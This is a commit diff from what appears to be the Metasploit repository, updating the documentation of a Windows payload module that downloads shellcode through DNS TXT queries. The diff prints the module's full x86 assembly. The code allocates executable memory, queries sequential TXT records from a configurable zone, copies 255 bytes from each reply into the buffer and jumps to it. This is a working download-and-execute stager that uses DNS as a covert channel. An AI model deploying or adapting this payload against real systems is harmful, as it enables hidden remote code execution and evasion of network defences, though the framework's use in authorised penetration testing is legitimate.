Skip to content

Commit 1d3d341

Browse files
committed
Clarify documentation in dns_txt_query_exec
1 parent b4762b7 commit 1d3d341

File tree

1 file changed

+71
-65
lines changed

1 file changed

+71
-65
lines changed

modules/payloads/singles/windows/dns_txt_query_exec.rb

Lines changed: 71 additions & 65 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,13 @@ module MetasploitModule
1414
def initialize(info = {})
1515
super(merge_info(info,
1616
'Name' => 'DNS TXT Record Payload Download and Execution',
17-
'Description' => 'Performs a TXT query against a series of DNS record(s) and executes the returned payload',
17+
'Description' => %q{
18+
Performs a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE
19+
option is used as the base name to iterate over. The payload will first request the TXT contents of the a
20+
hostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly
21+
255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using
22+
x86/alpha_mixed with the BufferRegister option set to EDI.
23+
},
1824
'Author' =>
1925
[
2026
'corelanc0d3r <peter.ve[at]corelan.be>'
@@ -54,116 +60,116 @@ def initialize(info = {})
5460
# (Example will show a messagebox)
5561
#
5662
# DNS TXT Records :
57-
# a.corelan.eu : contains first 255 bytes of the alpha shellcode
58-
# b.corelan.eu : contains the next 255 bytes of the alpha shellcode
59-
# c.corelan.eu : contains the last 144 bytes of the alpha shellcode
63+
# a.corelan.eu : contains first 255 bytes of the alpha shellcode
64+
# b.corelan.eu : contains the next 255 bytes of the alpha shellcode
65+
# c.corelan.eu : contains the last 144 bytes of the alpha shellcode
6066

6167
def generate(_opts = {})
6268

63-
dnsname = datastore['DNSZONE']
64-
wType = 0x0010 #DNS_TYPE_TEXT (TEXT)
65-
wTypeOffset = 0x1c
69+
dnsname = datastore['DNSZONE']
70+
wType = 0x0010 #DNS_TYPE_TEXT (TEXT)
71+
wTypeOffset = 0x1c
6672

67-
queryoptions = 0x248
73+
queryoptions = 0x248
6874
# DNS_QUERY_RETURN_MESSAGE (0x200)
6975
# DNS_QUERY_BYPASS_CACHE (0x08)
7076
# DNS_QUERY_NO_HOSTS_FILE (0x40)
7177
# DNS_QUERY_ONLY_TCP (0x02) <- not used atm
7278

73-
bufferreg = "edi"
79+
bufferreg = "edi"
7480

7581
#create actual payload
7682
payload_data = %Q^
77-
cld ; clear direction flag
78-
call start ; start main routine
83+
cld ; clear direction flag
84+
call start ; start main routine
7985
#{asm_block_api}
8086
; actual routine
8187
start:
82-
pop ebp ; get ptr to block_api routine
88+
pop ebp ; get ptr to block_api routine
8389
8490
; first allocate some space in heap to hold payload
8591
alloc_space:
86-
xor eax,eax ; clear EAX
87-
push 0x40 ; flProtect (RWX)
88-
mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)
89-
push eax ; flAllocationType MEM_COMMIT (0x1000)
90-
push eax ; dwSize (0x1000)
91-
push 0x0 ; lpAddress
92-
push #{Rex::Text.block_api_hash("kernel32.dll", "VirtualAlloc")} ; kernel32.dll!VirtualAlloc
92+
xor eax,eax ; clear EAX
93+
push 0x40 ; flProtect (RWX)
94+
mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)
95+
push eax ; flAllocationType MEM_COMMIT (0x1000)
96+
push eax ; dwSize (0x1000)
97+
push 0x0 ; lpAddress
98+
push #{Rex::Text.block_api_hash("kernel32.dll", "VirtualAlloc")}
9399
call ebp
94-
push eax ; save pointer on stack, will be used in memcpy
95-
mov #{bufferreg}, eax ; save pointer, to jump to at the end
100+
push eax ; save pointer on stack, will be used in memcpy
101+
mov #{bufferreg}, eax ; save pointer, to jump to at the end
96102
97103
98-
;load dnsapi.dll
104+
; load dnsapi.dll
99105
load_dnsapi:
100-
xor eax,eax ; put part of string (hex) in eax
106+
xor eax,eax ; put part of string (hex) in eax
101107
mov al,0x70
102108
mov ah,0x69
103-
push eax ; Push 'dnsapi' to the stack
104-
push 0x61736e64 ; ...
105-
push esp ; Push a pointer to the 'dnsapi' string on the stack.
106-
push #{Rex::Text.block_api_hash("kernel32.dll", "LoadLibraryA")} ; kernel32.dll!LoadLibraryA
107-
call ebp ; LoadLibraryA( "dnsapi" )
109+
push eax ; push 'dnsapi' to the stack
110+
push 0x61736e64 ; ...
111+
push esp ; Push a pointer to the 'dnsapi' string on the stack.
112+
push #{Rex::Text.block_api_hash("kernel32.dll", "LoadLibraryA")}
113+
call ebp ; LoadLibraryA( "dnsapi" )
108114
109115
;prepare for loop of queries
110-
mov bl,0x61 ; first query, start with 'a'
116+
mov bl,0x61 ; first query, start with 'a'
111117
112118
dnsquery:
113-
jmp.i8 get_dnsname ; get dnsname
119+
jmp.i8 get_dnsname ; get dnsname
114120
115121
get_dnsname_return:
116-
pop eax ; get ptr to dnsname (lpstrName)
117-
mov [eax],bl ; patch sequence number in place
118-
xchg esi,ebx ; save sequence number
119-
push esp ; prepare ppQueryResultsSet
120-
pop ebx ; (put ptr to ptr to stack on stack)
122+
pop eax ; get ptr to dnsname (lpstrName)
123+
mov [eax],bl ; patch sequence number in place
124+
xchg esi,ebx ; save sequence number
125+
push esp ; prepare ppQueryResultsSet
126+
pop ebx ; (put ptr to ptr to stack on stack)
121127
sub ebx,4
122128
push ebx
123-
push 0x0 ; pReserved
124-
push ebx ; ppQueryResultsSet
125-
push 0x0 ; pExtra
126-
push #{queryoptions} ; Options
127-
push #{wType} ; wType
128-
push eax ; lpstrName
129-
push #{Rex::Text.block_api_hash("dnsapi.dll", "DnsQuery_A")} ; dnsapi.dll!DnsQuery_A
130-
call ebp ;
131-
test eax, eax ; query ok ?
132-
jnz jump_to_payload ; no, jump to payload
133-
jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
129+
push 0x0 ; pReserved
130+
push ebx ; ppQueryResultsSet
131+
push 0x0 ; pExtra
132+
push #{queryoptions} ; Options
133+
push #{wType} ; wType
134+
push eax ; lpstrName
135+
push #{Rex::Text.block_api_hash("dnsapi.dll", "DnsQuery_A")}
136+
call ebp ;
137+
test eax, eax ; query ok?
138+
jnz jump_to_payload ; no, jump to payload
139+
jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
134140
135141
get_dnsname:
136142
call get_dnsname_return
137143
db "a.#{dnsname}", 0x00
138144
139145
get_query_result:
140-
xchg #{bufferreg},edx ; save start of heap
141-
pop #{bufferreg} ; heap structure containing DNS results
142-
mov eax,[#{bufferreg}+0x18] ; check if value at offset 0x18 is 0x1
143-
cmp eax,1
144-
jne prepare_payload ; jmp to payload
145-
add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply
146+
xchg #{bufferreg},edx ; save start of heap
147+
pop #{bufferreg} ; heap structure containing DNS results (DNS_TXT_DATAA)
148+
mov eax,[#{bufferreg}+0x18] ; check the number of strings in the response
149+
cmp eax,1 ; skip if there's not exactly 1 string in the response
150+
jne prepare_payload ; jmp to payload
151+
add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply
146152
mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply
147153
148154
copy_piece_to_heap:
149-
xchg ebx,esi ; save counter
150-
mov esi,edi ; set source
151-
mov edi,[esp+0x8] ; retrieve heap destination for memcpy
152-
xor ecx,ecx ; clear ecx
153-
mov cl,0xff ; always copy 255 bytes, no matter what
154-
rep movsb ; copy from ESI to EDI
155-
push edi ; save target for next copy
156-
push edi ; 2 more times to make sure it's at esp+8
157-
push edi ;
158-
inc ebx ; increment sequence
159-
xchg #{bufferreg},edx ; restore start of heap
160-
jmp.i8 dnsquery ; try to get the next piece, if any
155+
xchg ebx,esi ; save counter
156+
mov esi,edi ; set source
157+
mov edi,[esp+0x8] ; retrieve heap destination for memcpy
158+
xor ecx,ecx ; clear ecx
159+
mov cl,0xff ; always copy 255 bytes, no matter what
160+
rep movsb ; copy from ESI to EDI
161+
push edi ; save target for next copy
162+
push edi ; 2 more times to make sure it's at esp+8
163+
push edi ;
164+
inc ebx ; increment sequence
165+
xchg #{bufferreg},edx ; restore start of heap
166+
jmp.i8 dnsquery ; try to get the next piece, if any
161167
162168
prepare_payload:
163169
mov #{bufferreg},edx
164170
165171
jump_to_payload:
166-
jmp #{bufferreg} ; jump to it
172+
jmp #{bufferreg} ; jump to it
167173
^
168174
self.assembly = payload_data
169175
super

0 commit comments

Comments
 (0)